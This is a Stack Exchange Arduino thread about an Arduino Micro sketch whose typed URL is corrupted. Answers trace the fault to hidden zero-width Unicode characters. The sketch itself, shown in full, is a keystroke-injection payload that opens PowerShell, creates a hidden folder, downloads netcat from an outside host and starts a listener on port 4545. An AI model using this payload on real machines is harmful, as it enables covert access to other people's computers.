0

I'm trying to print a sequence of power shell commands including a url to the powershell interpreter but every time I execute it with the Arduino Micro it adds random values to the url. Here's the normal print statement.

Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt "); 
    typeKey(KEY_RETURN);

I'm passing this link https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.zip to a variable called $url and here is the actual output when the command executes

  cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip"); foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)

notice how the $url now has random values in them?

https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip

Also If you try copying and pasting the url I posted above on a browser, the url doesn't work. But if you go to https://eternallybored.org/misc/netcat/ and copy link location of netcat 1.11 which is the same url and paste it. The url works...

I don't understand why this is happening any thoughts?

Full code

void typeKey(int key) {

  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */

void setup() {
  //Beging Keyboard Stream
  Keyboard.begin();
  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  delay(4000);
  Keyboard.press('r');
  delay(4000);

  Keyboard.releaseAll();

  delay(1000);

  Keyboard.print("powershell");

  typeKey(KEY_RETURN);

    delay(1000);
    Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt "); 
    typeKey(KEY_RETURN);

    Keyboard.end();
}
    void loop() {
    }
  • Presumably there's a problem. But since you don't provide your code or circuit, I doubt anyone will be able to divine what it is. – Mark Smith Dec 22 '16 at 8:10
  • the code is in the question and that's all the program does prints that line. I guess I can add the init functions. @MarkSmith – Katz Dec 22 '16 at 8:21
  • Sorry, are you saying going to https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.zip in a browser works? – Code Gorilla Dec 22 '16 at 10:28
  • If you go to https://eternallybored.org/misc/netcat and copy link from netcat-1.11 the link is https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.z‌​ip and it works if I copy link and paste but if I don't copy link and just paste that link on the browser it does not work. – Katz Dec 22 '16 at 19:13
0

You have some unicode characters in your URL. Remove them.

https://eternallybored.org/misc/netcat/netcat-win32-1.<200c>‌​<200b>11.zip 
                                                      ^^^^^^^^^^^^
  • I'm not the owner of the website, so that means I can't download the owners links with powershell? – Katz Dec 22 '16 at 19:18
  • @Francesc You misunderstand me. In your sketch. YOUR code. You have managed to add, somehow, some extra UNICODE characters. – Majenko Dec 22 '16 at 19:19
  • in my sketch the URL is https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.z‌​ip when I execute my sketch I get a response with this https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip – Katz Dec 22 '16 at 19:28
  • Yes, that is exactly what I am saying. Although you may not be able to notice it here. I suggest you go to view the source of this web page and look at precisely what you have just pasted into the comment box just now. You will plainly see the extra unicode characters there. You keep copying and pasting the SAME corrupted URL. If you want to fix it then delete the URL from your code and type it in by hand. DO NOT COPY AND PASTE AGAIN, IT IS CORRUPT! – Majenko Dec 22 '16 at 19:34

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.